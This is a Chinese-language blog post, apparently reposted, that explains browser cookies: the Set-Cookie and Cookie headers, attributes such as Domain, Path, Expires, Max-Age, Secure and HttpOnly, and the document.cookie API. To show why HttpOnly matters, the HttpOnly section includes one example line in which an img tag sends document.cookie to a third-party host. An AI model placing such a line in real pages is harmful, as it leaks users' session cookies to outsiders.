首页 > 其他 > 详细

Cookie

时间:2019-11-13 22:22:10      阅读:63      评论:0      收藏:0      [点我收藏+]

1. 含义

Cookie是服务器存储在浏览器中的一段文本信息,每次浏览器向服务器发送请求时,会携带这些信息。

实质是服务器的返回信息通过Set-Cookie的响应头,将服务器返回的Cookie信息存储到浏览器。

浏览器再发起同源请求时,自动将存储的Cookie通过请求头发送到服务器。

2. 特征

1. 只要域名和端口号相同,就可以共享Cookie;不要求协议相同。

2 单个域名对应的Cookie最好不超过30个

3. 单个Cookie的大小一般不超过4KB。否则被忽略。

3. 内容

1)服务器通过Set-Cookie字段返回需要存储的Cookie。一个字段对应一个Cookie。

如果需要存储多个,需要返回多个Set-Cookie字段。

该字段对应的值,可以包含所有的Cookie内容和属性。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想修改一个Cookie,需要保证name,  path, domain, secure属性全部相同;

否则相当于一条新的Cookie。

2)浏览器向服务器发起请求时,发送的Cookie通过分号+空格(; )分割

Cookie: name=value; name2=value2; name3=value3
// 只能发送名称和值,不能发送Cookie的其他属性

4. 属性

浏览器中存储的Cookie示例如下,每条Cookie都含有多个属性:

技术分享图片 

Name: Cookie的名称

Value :Cookie的值

Domain: 指定需要携带该Cookie的域名。可以设置一级域名,如第一个示例;则其对应的二级、三级域名也会起作用

Path: /表示根路径,根路径(或者说设置的路径)及其子路径该Cookie都有效

Expires: Cookie的过期时间,格式是UTC格式, 可以通过toUTCString()方法获得UTC格式的时间。

Max-Age: Cookie的过期时间,格式是数值,秒数。

如果Expires和Max-Age同时存在,以Max-Age为主;
如果两者都不存在,则默认为当前会话(session)有效;即浏览器关闭,Cookie就不再保留。
可以通过给Expires设置一个过期的时间,删除该Cookie

Secure: 指定发送请求时,只有在https协议下,该Cookie才能被携带发送到服务器。

HttpOnly: 指定只能在浏览器发送http请求时才能携带该Cookie。它不能通过js访问到。

即不能通过document.cookie访问到。设置该属性,可以防止Cookie被第三方网站获取。

// 不使用HttpOnly时,第三方获取当前网站的Cookie
//img的src可以向跨域网站发送请求,第三方网站从URL中获取信息,如果设置了HttpOnly就可以防止
<img src=`http://www.fish.com?cookie=${document.cookie}` />

5. document.cookie

1) document.cookie会获取到属性非HttpOnly的所有cookie。

2)可以通过document.cookie手动设置cookie。

设置Cookie的时候只能一个一个的设置;依次叠加

document.cookie = "a=b";
document.cookie = "c=d";

但是可以设置多个属性。??此处属性名需要小写。

document.cookie = ‘fontSize=14; ‘
  + ‘expires=‘ + someDate.toGMTString() + ‘; ‘
  + ‘path=/subdirectory; ‘
  + ‘domain=*.example.com‘;

 

Cookie

原文:https://www.cnblogs.com/lyraLee/p/11853687.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!